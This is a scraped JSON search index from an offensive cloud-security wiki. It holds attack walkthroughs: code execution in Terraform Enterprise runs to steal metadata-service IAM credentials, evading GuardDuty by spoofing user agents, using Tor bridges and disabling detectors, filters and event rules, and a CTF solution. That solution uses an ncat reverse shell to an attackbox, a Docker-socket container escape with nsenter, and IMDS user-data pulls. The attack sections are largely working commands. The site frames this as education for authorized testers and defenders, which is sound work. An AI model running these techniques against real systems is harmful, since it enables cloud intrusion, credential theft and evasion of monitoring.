If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

\"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data\" (source)

Note

While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

"},{"location":"terraform/terraform_enterprise_metadata_service/#remote-code-execution","title":"Remote (Code) Execution","text":"

For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in \"disposable virtual machines\". In Terraform Enterprise however, it takes place in \"disposable Docker containers\".

This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

Note

It is possible to disable Remote Execution via a configuration however this is discouraged. \"Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications.\"

"},{"location":"terraform/terraform_enterprise_metadata_service/#docker-containers-and-metadata-services","title":"Docker Containers and Metadata Services","text":"

Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

"},{"location":"terraform/terraform_enterprise_metadata_service/#attack-prevention","title":"Attack Prevention","text":"

It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

Note

Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

"},{"location":"terraform/terraform_enterprise_metadata_service/#walkthrough","title":"Walkthrough","text":"

Warning

This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

Note

If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

"},{"location":"terraform/terraform_enterprise_metadata_service/#acquire-a-terraform-api-token","title":"Acquire a Terraform API Token","text":"

To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

"},{"location":"terraform/terraform_enterprise_metadata_service/#identify-the-organization-and-workspace-names","title":"Identify the Organization and Workspace Names","text":"

With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations | jq\n

Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization id we gathered in the previous step.

curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations/<Organization ID>/workspaces | jq\n

"},{"location":"terraform/terraform_enterprise_metadata_service/#configure-the-remote-backend","title":"Configure the Remote Backend","text":"

Now that we have the organization and workspace id's from the previous step, we can configure the remote backend. To do this, you can use this example as a template with one exception. We will add a hostname value which is the hostname of the Terraform Enterprise instance. You can store this in a file named backend_config.tf. backend_config.tf

terraform {\n  backend \"remote\" {\n    hostname = \"{{TFE_HOSTNAME}}\"\n    organization = \"{{ORGANIZATION_NAME}}\"\n\n    workspaces {\n      name = \"{{WORKSPACE_NAME}}\"\n    }\n  }\n}\n

"},{"location":"terraform/terraform_enterprise_metadata_service/#initialize-the-backend","title":"Initialize the Backend","text":"

With the backend configuration file created we can initialize the backend with the following command.

terraform init --backend-config=\"token=$TFE_TOKEN\"\n

If everything has worked as it should, you should get a Terraform has been successfully initialized notification. To test this, you can perform a terraform state list to list the various state objects.

"},{"location":"terraform/terraform_enterprise_metadata_service/#executing-code","title":"Executing Code","text":"

Now that our backend has been properly configured and we can access the remote state, we can attempt to execute code. There are several ways this can be done (such as using a local-exec provisioner) however, for our purposes we will be using the External Provider.

\"external is a special provider that exists to provide an interface between Terraform and external programs\".

What this means is that we can execute code during the Terraform plan or apply operations by specifying a program or script to run.

To do this, we will create an external provider in our existing backend_config.tf file (if you already have an existing Terraform project you can add this block to those existing files).

backend_config.tf
...\n\ndata \"external\" \"external_provider\" {\n    program = [\"python3\", \"wrapper.py\"]\n}\n\noutput \"external_provider_example\" {\n    value = data.external.external_provider\n}\n

You may be wondering what the wrapper.py file is. In order to use the external provider, we must \"implement a specific protocol\" (source), which is JSON. To do this, we will wrap the result of the code execution in JSON so it can be returned.

Note

The wrapper script is not strictly required if you aren't interested in getting the output. If your goal is simply to execute a C2 payload, you can include the binary in the project directory and then execute it.

Wrapping the output in JSON allows us to get the response output.

Our wrapper script looks like the following (feel free to change to your needs).

wrapper.py
import json\nimport os\n\nstream = os.popen('id')\noutput = stream.read()\nresult = { \"result\" : output }\n\nprint(json.dumps(result))\n
"},{"location":"terraform/terraform_enterprise_metadata_service/#terraform-plan","title":"Terraform Plan","text":"

Now that the wrapper script is created (and modified), we can execute code via terraform plan. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.

Warning

Upon executing terraform plan you may encounter errors for various reasons depending upon the remote state. Those errors will need to be handled on a case by case basis. Typically this involves modifying your .tf files to suit the remote state. This can typically be figured out based on the results of terraform state pull.

From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.

Note

The results of this run are logged elsewhere. Please do not leak secrets or other sensitive information to parties who do not have a need for the information. A more efficient method would be to use a C2 platform such as Mythic (or even just a TLS encrypted reverse shell) to exfiltrate the credentials.

"}]} \ No newline at end of file +{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"],"fields":{"title":{"boost":1000.0},"text":{"boost":1.0},"tags":{"boost":1000000.0}}},"docs":[{"location":"","title":"Home","text":"

Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

"},{"location":"#contributing","title":"Contributing","text":"

If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

Please checkout the GitHub page for more!

"},{"location":"#disclaimer","title":"Disclaimer","text":"

The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

"},{"location":"aws/avoiding-detection/guardduty-pentest/","title":"Bypass GuardDuty Pentest Findings","text":"

When making AWS API requests on common penetration testing OS's GuardDuty will detect this and trigger a PenTest Finding.

This is caused by the user agent name that is passed in the API request. By modifying that we can prevent GuardDuty from detecting that we are operating from a \"pentest\" Linux distribution.

Warning

If your assessment requires you to remain undetected it's probably easier to leverage a \"safe\" OS like Ubuntu, Mac OS, or Windows.

To do this, identify the location of your session.py in the botocore package. For example, on a default Kali Linux install it can be found at /usr/lib/python3/dist-packages/awscli/botocore/session.py.

On line 456 (at the time of writing), you should see the following.

        if truncate:\n            return '%s/%s' % (self.user_agent_name, self.user_agent_version)\n        base = '%s/%s Python/%s %s/%s' % (self.user_agent_name,\n                                          self.user_agent_version,\n                                          platform.python_version(),\n                                          platform.system(),\n                                          platform.release())\n        if os.environ.get('AWS_EXECUTION_ENV') is not None:\n            base += ' exec-env/%s' % os.environ.get('AWS_EXECUTION_ENV')\n        if self.user_agent_extra:\n            base += ' %s' % self.user_agent_extra\n\n        return base\n

To get around this, modify the code and replace it with legitimate user agent strings like those found in Pacu. With this capability you can mask your user agent to look like anything you want. Even arbitrary values like below.

        if truncate:\n           return '%s/%s' % (self.user_agent_name, self.user_agent_version)\n        base = '%s/%s Python/%s %s/%s' % (self.user_agent_name,\n                                          self.user_agent_version,\n                                          platform.python_version(),\n                                          platform.system(),\n                                          platform.release())\n        if os.environ.get('AWS_EXECUTION_ENV') is not None:\n            base += ' exec-env/%s' % os.environ.get('AWS_EXECUTION_ENV')\n        if self.user_agent_extra:\n            base += ' %s' % self.user_agent_extra\n        # Use any user-agent you wish for detection avoidance.\n        base = \"Boto3/1.9.106 Python/3.6.7 Linux/4.15.0-48-generic Botocore/1.12.156\"\n\n        return base\n

platform.system() and platform.release() are similar to uname -o and uname -r. On a stock Kali install it will generate the following values.

"},{"location":"aws/avoiding-detection/guardduty-pentest/#validation","title":"Validation","text":"

Base Kali user-agent output example:

$ aws --version\naws-cli/2.12.0 Python/3.11.5 Linux/4.4.0-22621/x86_64.kali.2023 prompt/off\n

Modified user-agent output example:

$ aws --version\nBoto3/1.9.106 Python/3.6.7 Linux/4.15.0-48-generic Botocore/1.12.156\n

"},{"location":"aws/avoiding-detection/guardduty-tor-client/","title":"Bypass GuardDuty Tor Client Findings","text":"

UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, \"this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity\".

AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

UseBridges 1\nBridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0\nClientTransportPlugin obfs4 exec /bin/obfs4proxy\n

You will now be able to connect to the Tor network with tor -f torrc and you can connect to the Socks5 proxy on port 9050 (by default).

"},{"location":"aws/avoiding-detection/modify-guardduty-config/","title":"Modify GuardDuty Configuration","text":"

When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#misconfiguring-the-detector","title":"Misconfiguring the Detector","text":"

An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

  • Required IAM Permissions

    • guardduty:ListDetectors
    • guardduty:UpdateDetector

Configuration changes may include a combination of:

  • Disabling the detector altogether.
  • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
  • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

Example CLI commands

# Disabling the detector\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --no-enable \n\n# Removing s3 as a log source\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --data-sources S3Logs={Enable=false}\n\n# Increase finding update time to 6 hours\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --finding-publishing-frequency SIX_HOURS\n

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modifying-trusted-ip-lists","title":"Modifying Trusted IP Lists","text":"

An attacker could create or update GuardDuty's Trusted IP list, including their own IP on the list. Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them.

DNS findings are exempt from the Trusted IP list.

  • Required IAM Permissions

    • guardduty:ListDetectors
    • guardduty:ListIPSets
    • guardduty:CreateIPSet
    • guardduty:UpdateIPSet
    • iam:PutRolePolicy

Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.

Example CLI commands

aws guardduty update-ip-set \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --ip-set-id 24adjigdk34290840348exampleiplist \\\n    --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \\\n    --activate\n

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modify-cloudwatch-events-rule","title":"Modify Cloudwatch events rule","text":"

GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account.

  • Required IAM Permissions

    • events:ListRules
    • events:ListTargetsByRule
    • events:PutRule
    • events:RemoveTargets

Note

In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account.

Example CLI commands

# Disable GuardDuty Cloudwatch Event\naws events put-rule --name guardduty-event \\\n--event-pattern \"{\\\"source\\\":[\\\"aws.guardduty\\\"]}\" \\\n--state DISABLED\n\n# Modify Event Pattern\naws events put-rule --name guardduty-event \\\n--event-pattern '{\"source\": [\"aws.somethingthatdoesntexist\"]}'\n\n# Remove Event Targets\naws events remove-targets --name guardduty-event \\\n--ids \"GuardDutyTarget\"\n

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#supression-rules","title":"Supression Rules","text":"

Newly create GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate.

  • Required IAM Permissions

    • guardduty:CreateFilter

Example CLI commands

aws  guardduty create-filter --action ARCHIVE --detector-id 12abc34d567e8fa901bc2d34e56789f0 --name yourfiltername --finding-criteria file://criteria.json\n

Filters can be created using the CreateFilter API.

"},{"location":"aws/avoiding-detection/modify-guardduty-config/#delete-publishing-destination","title":"Delete Publishing Destination","text":"

An adversary could disable alerting simply by deleting the destination of alerts.

  • Required IAM Permissions

    • guardduty:DeletePublishingDestination

Example CLI commands

aws guardduty delete-publishing-destination --detector-id abc123 --destination-id def456\n
"},{"location":"aws/avoiding-detection/steal-keys-undetected/","title":"Bypass Credential Exfiltration Detection","text":"
  • Tools mentioned in this article

    SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

Note

There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

"},{"location":"aws/avoiding-detection/steal-keys-undetected/#sneakyendpoints","title":"SneakyEndpoints","text":"

To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

"},{"location":"aws/avoiding-detection/steal-keys-undetected/#setup-and-usage","title":"Setup and Usage","text":"

To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

Next, perform the following Terraform commands:

terraform init\nterraform apply\n

Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.

After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.

To teardown the infrastructure, run the following command:

terraform destroy\n
"},{"location":"aws/avoiding-detection/steal-keys-undetected/#using-sts","title":"Using STS","text":"

Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.

export AWS_STS_REGIONAL_ENDPOINTS=regional\n

This is because some versions of the AWS SDK default to using the global STS endpoint at sts.amazonaws.com. This is problematic because VPC endpoints are regional (e.g. sts.us-east-1.amazonaws.com). The result is that if you use a version that is expecting the global endpoint with SneakyEndpoints, the connection will timeout.

"},{"location":"aws/capture_the_flag/cicdont/","title":"CI/CDon't","text":"

Link to Project: CI/CDon't

Note

This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

Warning

If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

"},{"location":"aws/capture_the_flag/cicdont/#background","title":"Background","text":"

This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

"},{"location":"aws/capture_the_flag/cicdont/#how-to-play","title":"How to Play","text":"

Clone this repository and navigate to the cicdont directory.

git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

To deploy the CTF environment run the Terraform init/apply command.

terraform init\nterraform apply\n

You will be prompted with two questions. The first is a consent related to the costs of the CTF (Again, these should be minimal however the environment should still be taken down when you're finished with it). The second is asking your player name. Please do not use special characters in the name, only upper and lower case letters. This will be used in the game.

Note

It will take approximately 10 minutes for all the infrastructure to be deployed and ready. This 10 minute timer begins AFTER the Terraform apply has completed. This time is used to install all the software, create the NPCs, etc.

Warning

To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create a security group that only that IP address can access. If you cannot access the target_ip (explained below) after 10 minutes, check the AWS console for a security group named allow_http and ensure that its configuration would allow you to reach it.

To destroy the CTF environment run the Terraform destroy command.

terraform destroy\n

This will again prompt you for the two questions. Please answer them and the infrastructure will be destroyed.

"},{"location":"aws/capture_the_flag/cicdont/#the-important-bits","title":"The Important Bits","text":"

Once you've run terraform apply, you will receive 5 outputs. This will include the following:

  • Player Username
  • Player Password (randomly generated)
  • Attackbox IP
  • Target IP
  • Time warning

The attackbox is an EC2 instance you can use for whatever purposes you deem fit. In particular you can use it to catch a reverse shell, or load your C2 platform of choice on it (you have sudo access via the password).

To access the attackbox, you can ssh using your player username and password.

ssh <player username>@<attackbox IP>\n

Note

When sshing with a player username, note that the username is case-sensitive.

It will take approximately 10 minutes for all the infrastructure to finish deploying. If you'd like to test if it's finished, you can navigate to http://<target IP>/. If it doesn't respond, or only shows a generic GitLab login page, then the CTF is not ready yet. If you see a message about SoftHouseIO, then everything is setup and ready.

Note

To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create security group rules that only that IP address can access. If you cannot access the target instance after 10 minutes (likely shorter), check the AWS console for a security group named allow_http and ensure that it's configuration would allow you to reach it.

These security group rules apply to both the target (GitLab) and the attackbox. Additionally, the rules are configured to allow the attackbox to receive incoming traffic from the target (to catch shells).

If you see any references to gamemaster, please ignore it. Those scripts are used to simulate the NPCs and have them complete their lore tasks. It is unrelated to the challenge.

"},{"location":"aws/capture_the_flag/cicdont/#the-story","title":"The Story","text":"

You are <player username>, a developer at SoftHouseIO, an independent software development consultancy firm. While you like the company, you're thinking about making a little money on the side, perhaps through not entirely legal means. Can you say ransomware?

After planning your attack you figure the best place to get started is the company GitLab server at http://<target IP>. Your username and password should you get you in. You'll want to gain access to administrative credentials for the AWS account the company uses.

"},{"location":"aws/capture_the_flag/cicdont/#the-objective","title":"The Objective","text":"

Gain access to the aws_admin_automation_user through whatever means necessary (Note that this role has no permissions. It is simply the goal).

"},{"location":"aws/capture_the_flag/cicdont/#feedback","title":"Feedback","text":"

Want to provide feedback on the challenge? Open a new discussion on GitHub

"},{"location":"aws/capture_the_flag/cicdont/#walkthrough","title":"Walkthrough","text":"

The following is a step by step walkthrough of the CTF. You can refer to this if you get stuck or simply just want to know what is next. Click the summary below to expand it.

Summary

Consent and Name

To begin the CTF we must first stand up all the infrastructure. We do this using Terraform.

Download the challenge using git.

git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

Initialize the project.

terraform init\n

Create the infrastructure.

terraform apply\n

We will be prompted first with a consent. Read through the question and answer with yes or no.

After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.

After this, you will be asked if you'd like to perform the deployment. Answer with \"yes\".

The Terraform deployment will begin.

Wait

Note

You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts AFTER you get the \"Apply complete\" notification.

Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.

You can ssh into the box using your username and password

ssh <player_username>@<target_ip>\n

Note

The username is case-sensitive.

Getting Started

After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.

From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.

Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.

Navigate to the mvp-docker project's Issues page.

This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a gitlab-ci.yml file, which is the configuration for the GitLab CI/CD pipeline.

Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.

Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).

After committing changes (via the web interface or otherwise) you can navigate to the CI/CD tab on the left to see the pipeline execute.

Clicking on the status, and then the build job we can see the output.

This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the \"docker\" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.

This looks like a fantastic place to start.

Getting a Reverse Shell

Our next step will be to get a shell in this environment. This is where our attackbox can come in.

Please note: You are welcome to use your C2 platform of choice (If you'd like a recommendation, I'm a fan of Mythic). For this walkthrough I will use netcat for simplicity.

SSH into your attack box and install a tool called ncat.

Now, we can setup a listener (from the attackbox) with the following command.

sudo ncat -l 443 --ssl -v\n

We can now go back and edit the gitlab-ci.yml file to send a reverse shell. Using Ncat it's as easy as adding the following lines. From our previous foray we know this is an Ubuntu Docker container, and thus, we can use the apt package manager.

apt update\napt install -y ncat\nncat <attackbox_ip> 443 --ssl -e /bin/bash -v\n

Now click \"Commit changes\" and watch that pipeline run.

You are now the proud owner of a reverse shell inside this Docker container.

Docker Socket

From here, there are a number of things we could try to do. Your first instinct may be, \"I'm on an EC2 instance, can I reach the metadata service?\". That's a great idea! Unfortunately you can't.

The bright folks over at SoftHouseIO use IMDSv2, one of the benefits of which is that Docker containers cannot reach it by default.

TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.\n

That's a bummer. Other options? Try and pivot off this machine to something else in the VPC? Access a service exposed internally to the host (172.17.0.1)? Escape the container?

That last one might get us somewhere. Ashley mentioned having some issues about building a Docker container in the pipeline. To do that, wouldn't they have to use something like kaniko? What if they just exposed the Docker socket instead?

When a Docker socket is exposed inside a container, it can have dangerous consequences as an attacker can potentially escape the container and escalate privileges on the host.

The common location for the socket is at /var/run/docker.sock, let's go look for it.

There we go! They did mount the Docker socket! Let's use this to escape the container.

Escaping the Container

Note: There are many different ways you could abuse this to escape the container. I will walk through what I think is the simplest.

First let's install two tools that will make things easier for ourselves.

apt update\napt install -y python3 docker.io\n

Python3 will help us to spawn a tty and having the Docker binary will make it easier to interact with the Docker socket. We could alternatively use curl.

With those two tools installed, let's spawn a tty with the classic Python one-liner.

python3 -c \"import pty;pty.spawn('/bin/bash')\"\n

Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.

docker ps\n

This output lets us know that everything is working as intended. With access to the Docker socket, let's escape by creating a privileged Docker container (Note: There are a number of options to do this).

docker run -it --rm --pid=host --privileged ubuntu bash\n

Now, inside our new privileged container, let's migrate to the namespace of a process running on the host.

nsenter --target 1 --mount --uts --ipc --net --pid -- bash\n

How fun is that?! We now have root on the underlying host and have escaped the container.

Escalating

With root on the host, we have a number of options for next steps. We can steal IAM credentials from the metadata service, brute force our IAM permissions, enumerate roles in the account to find out what services are running in the account, attempt to escalate IAM privileges, maybe try to intercept the SSM agent if it's running on the box? One place we should check before doing all that is the user data.

User data is used to run commands when an EC2 instance is first started or after it is rebooted (with the right configuration). This can be very helpful to determine what software is installed on the machine, and it can also potentially be a source of credentials from developers who aren't very careful.

Let's check this (remember we are using IMDSv2).

TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n

On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.

There is a slight problem though, on the line where they installed GitLab, they accidentally leaked a credential. An important one at that. That is the credential to the root user of GitLab.

This is bad news for SoftHouseIO and great news for us. Let's use this to log into the GitLab web UI as an administrator (username: root, password: <what's in the useradata>)

After exploring around for a little while, you may stumble into the the infra-deployer project. That sounds important.

\"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners\". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the Settings tab on the left and then click CI/CD. Next, click Expand on the Variables section.

An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this without logging to CloudTrail if you were so inclined).

export AWS_ACCESS_KEY_ID=AKIA....\nexport AWS_SECRET_ACCESS_KEY=....\naws sts get-caller-identity\n

And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on GitHub.

"},{"location":"aws/capture_the_flag/cicdont/#acknowledgements","title":"Acknowledgements","text":"

These wonderful folks helped beta-test this CTF and provided feedback.

Christophe Tafani-Dereeper Jake Berkowsky Kaushik Pal

"},{"location":"aws/deprecated/stealth_perm_enum/","title":"[Deprecated] Enumerate Permissions without Logging to CloudTrail","text":"
  • Original Research

    Enumerate AWS API Permissions Without Logging to CloudTrail by Nick Frichette

  • Tools mentioned in this article

    aws_stealth_perm_enum

Warning

As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

